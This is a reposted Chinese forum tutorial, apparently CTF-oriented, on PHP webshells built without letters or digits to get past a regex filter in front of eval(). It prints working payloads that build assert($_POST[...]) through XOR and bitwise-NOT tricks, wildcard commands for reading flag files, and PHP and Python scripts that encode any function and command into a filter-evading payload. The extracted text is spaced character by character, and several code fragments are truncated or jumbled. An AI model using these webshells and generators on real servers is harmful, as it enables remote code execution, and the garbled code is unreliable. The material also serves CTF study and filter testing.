搜索

[18563] 2021-05-20_Web安全无字母数字Webshell总结

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-05-20_Web安全无字母数字Webshell总结 W e b 安 全   |   无 字 母 数 字 W e b s h e l l   总 结 原 创   W H O A M I   H A C K 学 习 呀   2 0 2 1 - 0 5 - 2 0 前 言 前 言 无 字 母 数 字   W e b s h e l l   是 个 老 生 常 谈 的 东 西 了 ， 之 前 打   C T F   的 时 候 也 经 常 会 遇 到 ， 每 次 都 让 我 头 大 。 由 于 一 直 没 有 去 系 统 的 研 究 过 这 个 东 西 ， 今 天 就 好 好 学 习 学 习 。 所 谓 无 字 母 数 字   W e b s h e l l ， 其 基 本 原 型 就 是 对 以 下 代 码 的 绕 过 ： 这 段 代 码 限 制 了 我 们 传 入   s h e l l   参 数 中 的 值 不 能 存 在 字 母 和 数 字 。 下 面 我 们 来 说 说 答 题 的 思 路 ： 首 先 ， 代 码 确 实 是 限 制 了 我 们 的   W e b s h e l l   不 能 出 现 任 何 字 母 和 数 字 ， 但 是 并 没 有 限 制 除 了 字 母 和 数 字 以 外 的 其 他 字 符 。 所 以 我 们 的 思 路 是 ， 将 非 字 母 数 字 的 字 符 经 过 各 种 转 换 ， 最 后 能 构 造 出     中 的 任 意 一 个 字 符 。 然 后 再 利 用   P H P   允 许 动 态 函 数 执 行 的 特 点 ， 拼 接 处 一 个 函 数 名 ， 比 如   " a s s e r t " 、 " s y s t e m " 、 " f i l e _ p u t _ c o n t e n t s " 、 " c a l l _ u s e r _ f u n c "   等 危 险 函 数 然 后 动 态 执 行 即 可 。 < ? p h p i f ( ! p r e g _ m a t c h ( ' / [ a - z 0 - 9 ] / i s ' , $ _ G E T [ ' s h e l l ' ] ) )   {     e v a l ( $ _ G E T [ ' s h e l l ' ] ) ; } a - z 0 - 9
说 道   P H P   代 码 动 态 执 行 我 们 要 注 意 的 是 ， 在   P H P   5   中   a s s e r t ( )   是 一 个 函 数 ， 我 们 可 以 通 过     这 样 的 方 法 来 动 态 执 行 任 意 代 码 ， 此 时 它 可 以 起 到 替 代   e v a l ( )   的 作 用 。 但 是 在   P H P   7   中 ， a s s e r t ( )   不 再 是 函 数 了 ， 而 是 变 成 了 一 个 和   e v a l ( )   一 样 的 语 言 结 构 ， 此 时 便 和   e v a l ( )   一 样 不 能 再 作 为 函 数 名 动 态 执 行 代 码 ， 所 以 利 用 起 来 稍 微 复 杂 一 点 。 但 也 无 需 过 于 担 心 ， 比 如 我 们 利 用   f i l e _ p u t _ c o n t e n t s ( )   函 数 ， 同 样 可 以 用 来   G e t s h e l l   。 基 础 知 识 基 础 知 识 P H P   短 标 签 短 标 签 我 们 最 常 见 的   P H P   标 签 就 是     了 ， 但 是   P H P   中 还 有 两 种 短 标 签 ， 即     和     。 当 关 键 字   " p h p "   被 过 滤 了 之 后 ， 此 时 我 们 便 不 能 使 用     了 ， 但 是 我 们 可 以 用 另 外 两 种 短 标 签 进 行 绕 过 ， 并 且 在 短 标 签 中 的 代 码 不 需 要 使 用 分 号     。 其 中 ，   相 当 于 对     的 替 换 。 而     则 是 相 当 于     。 例 如 ： P H P   中 的 反 引 号 中 的 反 引 号 P H P 中 ， 反 引 号 可 以 直 接 命 令 执 行 系 统 命 令 ， 但 是 如 果 想 要 输 出 执 行 结 果 还 需 要 使 用   e c h o   等 函 数 ： $ f = ' a s s e r t ' ; $ f ( . . . ) ; < ? p h p   ? > < ?   ? > < ? =   ? > < ? p h p   ? > ; < ?   ? > < ? p h p   ? > < ? =   ? > < ? p h p   e c h o   . . .   ? > < ? = ' H e l l o   W o r l d ' ? >         / /   输 出   " H e l l o   W o r l d " < ? p h p   e c h o   ` l s   / ` ; ? >
i m a g e - 2 0 2 1 0 5 0 7 2 3 1 3 4 6 3 6 0 还 可 以 使 用     短 标 签 （ 比 较 灵 活 ） ： i m a g e - 2 0 2 1 0 5 0 7 2 3 1 5 1 7 2 9 9 通 配 符 在 通 配 符 在   R C E   中 的 利 用 中 的 利 用 先 说 一 下 原 理 ： • 在 正 则 表 达 式 中 ，   这 样 的 通 配 符 与 其 它 字 符 一 起 组 合 成 表 达 式 ， 匹 配 前 面 的 字 符 或 表 达 式 零 次 或 一 次 。 • 在   S h e l l   命 令 行 中 ，   这 样 的 通 配 符 与 其 它 字 符 一 起 组 合 成 表 达 式 ， 匹 配 任 意 一 个 字 符 。 同 理 ， 我 们 可 以 知 道     通 配 符 ： • 在 正 则 表 达 式 中 ，   这 样 的 通 配 符 与 其 它 字 符 一 起 组 合 成 表 达 式 ， 匹 配 前 面 的 字 符 或 表 达 式 零 次 或 多 次 。 • 在 s h e l l 命 令 行 中 ， < ? =   ? >   < ? =   ` l s   / ` ? > ?   ? * *   *
  这 样 的 通 配 符 与 其 它 字 符 一 起 组 合 成 表 达 式 ， 匹 配 任 意 长 度 的 字 符 串 。 这 个 字 符 串 的 长 度 可 以 是 0 ， 可 以 是 1 ， 可 以 是 任 意 数 字 。 所 以 ， 我 们 利 用     和     在 正 则 表 达 式 和   S h e l l   命 令 行 中 的 区 别 ， 可 以 绕 过 关 键 字 过 滤 ， 如 下 实 例 ： 我 们 可 以 用 以 上 格 式 的   P a y l o a d   都 可 以 读 取 到 f l a g 。 P H P   5   和 和   P H P   7   的 区 别 的 区 别 （ 1 ） 在   P H P   5   中 ，   是 一 个 函 数 ， 我 们 可 以 用     这 样 的 形 式 来 实 现 代 码 的 动 态 执 行 。 但 是 在   P H P   7   中 ，   变 成 了 一 个 和     一 样 的 语 言 结 构 ， 不 再 支 持 上 面 那 种 调 用 方 法 。 （ 但 是 好 像 在   P H P   7 . 0 . 1 2   下 还 能 这 样 调 用 ） （ 2 ） P H P 5 中 ， 是 不 支 持     这 种 调 用 方 法 的 ， 但 在   P H P   7   中 支 持 这 种 调 用 方 法 ， 因 此 支 持 这 么 写   异 或 运 算 绕 过 异 或 运 算 绕 过 绕 过 原 理 绕 过 原 理 在   P H P   中 两 个 字 符 串 异 或 之 后 ， 得 到 的 还 是 一 个 字 符 串 。 如 果 正 则 匹 配 过 滤 了 字 母 和 数 字 ， 那 就 可 以 使 用 两 个 不 在 正 则 匹 配 范 围 内 的 非 字 母 非 数 字 的 字 符 进 行 异 或 ， 从 而 得 到 我 们 想 要 的 字 符 串 。 例 如 ， 我 们 异 或   ? * 假 设 f l a g 在 / f l a g 中 : c a t   / f l a ? c a t   / f l a *         假 设 f l a g 在 / f l a g . t x t 中 : c a t   / f l a ? ? ? ? c a t   / f l a *         假 设 f l a g 在 / f l a g s / f l a g . t x t 中 : c a t   / f l a ? ? / f l a ? ? ? ? c a t   / f l a * / f l a *         假 设 f l a g 在 f l a g g 文 件 加 里 : c a t   / ? ? ? ? ? / f l a ? c a t   / ? ? ? ? ? / f l a * a s s e r t ( ) $ _ = a s s e r t ; $ _ ( ) a s s e r t ( ) e v a l ( ) ( $ a ) ( ) ( ' p h p i n f o ' ) ( ) ; ?
  和     之 后 得 到 的 是     ： 基 于 此 原 理 我 们 可 以 构 造 出 无 字 母 数 字 的   W e b s h e l l ， 下 面 是   P H I T H O N   师 傅 的 一 个   P a y l o a d ： 看 到 代 码 中 的 下 划 线   、 、   是 一 个 变 量 ， 因 为   p r e g _ m a t c h ( )   过 滤 了 所 有 的 字 母 ， 我 们 只 能 用 下 划 线 来 作 变 量 名 。 最 后 拼 接 起 来   P a y l o a d   如 下 ： 测 试 效 果 如 下 ： 构 造 脚 本 构 造 脚 本 ~ A < ? p h p $ _ = ( ' % 0 1 ' ^ ' ` ' ) . ( ' % 1 3 ' ^ ' ` ' ) . ( ' % 1 3 ' ^ ' ` ' ) . ( ' % 0 5 ' ^ ' ` ' ) . ( ' % 1 2 ' ^ ' ` ' ) . ( ' % 1 4 ' ^ ' ` ' ) ;   / /   $ _ = ' a s s e r t ' ; $ _ _ = ' _ ' . ( ' % 0 D ' ^ ' ] ' ) . ( ' % 2 F ' ^ ' ` ' ) . ( ' % 0 E ' ^ ' ] ' ) . ( ' % 0 9 ' ^ ' ] ' ) ;   / /   $ _ _ = ' _ P O S T ' ; $ _ _ _ = $ $ _ _ ; $ _ ( $ _ _ _ [ _ ] ) ;   / /   a s s e r t ( $ _ P O S T [ _ ] ) ; _ _ _ _ _ _ $ _ = ( ' % 0 1 ' ^ ' ` ' ) . ( ' % 1 3 ' ^ ' ` ' ) . ( ' % 1 3 ' ^ ' ` ' ) . ( ' % 0 5 ' ^ ' ` ' ) . ( ' % 1 2 ' ^ ' ` ' ) . ( ' % 1 4 ' ^ ' ` ' ) ; $ _ _ = ' _ ' . ( ' % 0 D ' ^ ' ] ' ) . ( ' % 2 F ' ^ ' ` ' / /   密 码 为   " _ "
下 面 给 出 一 个 异 或 绕 过 的 脚 本 ： 首 先 运 行 以 上   P H P   脚 本 后 ， 会 生 成 一 个   t x t   文 档   x o r _ r c e . t x t ， 里 面 包 含 所 有 可 见 字 符 的 异 或 构 造 结 果 。 接 着 运 行 以 下   P y t h o n   脚 本 ， 输 入 你 想 要 构 造 的 函 数 名 和 要 执 行 的 命 令 即 可 生 成 最 终 的   P a y l o a d ： < ? p h p         $ m y f i l e   =   f o p e n ( " x o r _ r c e . t x t " ,   " w " ) ; $ c o n t e n t s = " " ; f o r   ( $ i = 0 ;   $ i   <   2 5 6 ;   $ i + + )   {           f o r   ( $ j = 0 ;   $ j   < 2 5 6   ;   $ j + + )   {                   i f ( $ i < 1 6 ) {                         $ h e x _ i = ' 0 ' . d e c h e x ( $ i ) ;                 }                 e l s e {                         $ h e x _ i = d e c h e x ( $ i ) ;                 }                 i f ( $ j < 1 6 ) {                         $ h e x _ j = ' 0 ' . d e c h e x ( $ j ) ;                 }                 e l s e {                         $ h e x _ j = d e c h e x ( $ j ) ;                 }                 $ p r e g   =   ' / [ a - z 0 - 9 ] / i ' ;         / /   根 据 题 目 给 的 正 则 表 达 式 修 改 即 可                 i f ( p r e g _ m a t c h ( $ p r e g   ,   h e x 2 b i n ( $ h e x _ i ) ) | | p r e g _ m a t c h ( $ p r e g   ,   h e x 2 b i n ( $ h e x _ j ) ) ) {                                         e c h o   " " ;         }                 e l s e {                 $ a = ' % ' . $ h e x _ i ;                 $ b = ' % ' . $ h e x _ j ;                 $ c = ( u r l d e c o d e ( $ a ) ^ u r l d e c o d e ( $ b ) ) ;                 i f   ( o r d ( $ c ) > = 3 2 & o r d ( $ c ) < = 1 2 6 )   {                         $ c o n t e n t s = $ c o n t e n t s . $ c . "   " . $ a . "   " . $ b . " n " ;                 }         } } } f w r i t e ( $ m y f i l e , $ c o n t e n t s ) ; f c l o s e ( $ m y f i l e ) ; #   - * -   c o d i n g :   u t f - 8   - * - d e f   a c t i o n ( a r g ) :       s 1 = " "       s 2 = " "       f o r   i   i n   a r g :               f = o p e n ( " x o r _ r c e . t x t " , " r " )               w h i l e   T r u e :                       t = f . r e a d l i n e ( )                       i f   t = = " " :                               b r e a k                       i f   t [ 0 ] = = i :                               # p r i n t ( i )                               s 1 + = t [ 2 : 5 ]                               s 2 + = t [ 6 : 9 ]                               b r e a k               f . c l o s e ( )       o u t p u t = " ( " " + s 1 + " " ^ " " + s 2 + " " ) "       r e t u r n ( o u t p u t ) w h i l e   T r u e :       p a r a m = a c t i o n ( i n p u t ( " n [ + ]   y o u r   f u n c t i o n ： " )   ) + a c t i o n ( i n p u t ( " [ + ]   y o u r   c o m m a n d ： " ) ) + " ; "       p r i n t ( p a r a m )
测 试 效 果 如 下 ： 或 运 算 绕 过 或 运 算 绕 过 绕 过 原 理 绕 过 原 理 在 前 面 异 或 绕 过 中 我 们 说 了 ， P H P   中 两 个 字 符 串 异 或 之 后 得 到 的 还 是 一 个 字 符 串 。 那 么 或 运 算 原 理 也 是 一 样 ， 如 果 正 则 匹 配 过 滤 了 字 母 和 数 字 ， 那 就 可 以 使 用 两 个 不 在 正 则 匹 配 范 围 内 的 非 字 母 非 数 字 的 字 符 进 行 或 运 算 ， 从 而 得 到 我 们 想 要 的 字 符 串 。 [ + ]   y o u r   f u n c t i o n ： s y s t e m [ + ]   y o u r   c o m m a n d ： l s   / ( " % 0 8 % 0 2 % 0 8 % 0 8 % 0 5 % 0 d " ^ " % 7 b % 7 b % 7 b % 7 c % 6 0 % 6 0 " ) ( " % 0 c % 0 8 % 0 0 % 0 0 " ^ " % 6 0 % 7 b % 2 0 % 2 f " ) ;
构 造 脚 本 构 造 脚 本 下 面 给 出 一 个 或 运 算 绕 过 的 脚 本 ： 首 先 运 行 以 上   P H P   脚 本 后 ， 会 生 成 一 个   t x t   文 档 o r _ r c e . t x t ， 里 面 包 含 所 有 可 见 字 符 的 或 运 算 构 造 结 果 。 接 着 运 行 以 下   P y t h o n   脚 本 ， 输 入 你 想 要 构 造 的 函 数 名 和 要 执 行 的 命 令 即 可 生 成 最 终 的   P a y l o a d ： < ? p h p $ m y f i l e   =   f o p e n ( " o r _ r c e . t x t " ,   " w " ) ; $ c o n t e n t s = " " ; f o r   ( $ i = 0 ;   $ i   <   2 5 6 ;   $ i + + )   {           f o r   ( $ j = 0 ;   $ j   < 2 5 6   ;   $ j + + )   {                   i f ( $ i < 1 6 ) {                         $ h e x _ i = ' 0 ' . d e c h e x ( $ i ) ;                 }                 e l s e {                         $ h e x _ i = d e c h e x ( $ i ) ;                 }                 i f ( $ j < 1 6 ) {                         $ h e x _ j = ' 0 ' . d e c h e x ( $ j ) ;                 }                 e l s e {                         $ h e x _ j = d e c h e x ( $ j ) ;                 }                 $ p r e g   =   ' / [ 0 - 9 a - z ] / i ' ;         / /   根 据 题 目 给 的 正 则 表 达 式 修 改 即 可                 i f ( p r e g _ m a t c h ( $ p r e g   ,   h e x 2 b i n ( $ h e x _ i ) ) | | p r e g _ m a t c h ( $ p r e g   ,   h e x 2 b i n ( $ h e x _ j ) ) ) {                                         e c h o   " " ;         }                 e l s e {                 $ a = ' % ' . $ h e x _ i ;                 $ b = ' % ' . $ h e x _ j ;                 $ c = ( u r l d e c o d e ( $ a ) | u r l d e c o d e ( $ b ) ) ;                 i f   ( o r d ( $ c ) > = 3 2 & o r d ( $ c ) < = 1 2 6 )   {                         $ c o n t e n t s = $ c o n t e n t s . $ c . "   " . $ a . "   " . $ b . " n " ;                 }         } } } f w r i t e ( $ m y f i l e , $ c o n t e n t s ) ; f c l o s e ( $ m y f i l e ) ;
测 试 效 果 如 下 ： #   - * -   c o d i n g :   u t f - 8   - * - d e f   a c t i o n ( a r g ) :       s 1 = " "       s 2 = " "       f o r   i   i n   a r g :               f = o p e n ( " o r _ r c e . t x t " , " r " )               w h i l e   T r u e :                       t = f . r e a d l i n e ( )                       i f   t = = " " :                               b r e a k                       i f   t [ 0 ] = = i :                               # p r i n t ( i )                               s 1 + = t [ 2 : 5 ]                               s 2 + = t [ 6 : 9 ]                               b r e a k               f . c l o s e ( )       o u t p u t = " ( " " + s 1 + " " | " " + s 2 + " " ) "       r e t u r n ( o u t p u t ) w h i l e   T r u e :       p a r a m = a c t i o n ( i n p u t ( " n [ + ]   y o u r   f u n c t i o n ： " )   ) + a c t i o n ( i n p u t ( " [ + ]   y o u r   c o m m a n d ： " ) ) + " ; "       p r i n t ( p a r a m ) [ + ]   y o u r   f u n c t i o n ： s y s t e m [ + ]   y o u r   c o m m a n d ： l s   / ( " % 1 3 % 1 9 % 1 3 % 1 4 % 0 5 % 0 d " | " % 6 0 % 6 0 % 6 0 % 6 0 % 6 0 % 6 0 " ) ( " % 0 c % 1 3 % 0 0 % 0 0 " | " % 6 0 % 6 0 % 2 0 % 2 f " ) ;
取 反 运 算 绕 过 取 反 运 算 绕 过 绕 过 原 理 绕 过 原 理 该 方 法 和 前 面 那 两 种 绕 过 的 方 法 有 异 曲 同 工 之 妙 ， 唯 一 差 异 就 是 ， 这 里 使 用 的 是 位 运 算 里 的   “ 取 反 ”   运 算 。 先 来 看 看   P H I T H O N   师 傅 的 汉 字 取 反 绕 过 ， 利 用 的 是   U T F - 8   编 码 的 某 个 汉 字 ， 将 其 中 某 个 字 符 取 出 来 ， 比 如     的 结 果 是   ， 其 再 取 反 即 可 得 到 字 母   ： 这 里 直 接 给 出   P H I T H O N   师 傅 的   W e b s h e l l ： 缩 减 后 即 ： ' 和 ' { 2 } " x 8 c " s e c h o   ~ ( ' 瞰 ' { 1 } ) ;         / /   a e c h o   ~ ( ' 和 ' { 2 } ) ;         / /   s e c h o   ~ ( ' 和 ' { 2 } ) ;         / /   s e c h o   ~ ( ' 的 ' { 1 } ) ;         / /   e e c h o   ~ ( ' 半 ' { 1 } ) ;         / /   r e c h o   ~ ( ' 始 ' { 2 } ) ;         / /   t $ _ _ = ( ' > ' > ' < ' ) + ( ' > ' > ' < ' ) ;         / /   $ _ _ = 2 ,   利 用 P H P 的 弱 类 型 的 特 点 获 取 数 字 $ _ = $ _ _ / $ _ _ ;         / /   $ _ = 1 $ _ _ _ _ = ' ' ; $ _ _ _ = " 瞰 " ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ } ) ; $ _ _ _ = " 和 " ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ _ } ) ; $ _ _ _ = " 和 " ; $ _ _ _ _ . = ~ ( $ _ _ _ { $ _ _ } ) ; $ _ _ _ = " 的 " $ _ _ _ _ _ = _ ; $ _ _ _ = " 俯 " ; $ _ _ _ _ _ . = ~ ( $ _ _ _ { $ _ _ } ) ; $ _ _ _ = " 瞰 " ; $ _ _ _ _ _ . = ~ ( $ _ _ _ { $ _ _ } ) ; $ _ _ _ = " 次 " ; $ _ _ _ _ _ . = ~ ( $ _ _ _ { $ _ } ) ; $ _ _ _ $ _ = $ $ _ _ _ _ _ ;     / /   $ _ = $ _ P O S T $ _ _ _ _ ( $ _ [ $ _ _ ] ) ;     / /   a s s e r t ( $ _ P O S T [ 2 ] )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理